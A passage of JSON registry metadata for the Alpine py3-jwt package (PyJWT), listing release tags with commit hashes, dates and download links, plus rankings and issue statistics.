:"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.674Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":3.206822602363972,"forks_count":2.777916313400828,"docker_downloads_count":null,"average":1.4961847289411998},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.18","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"pa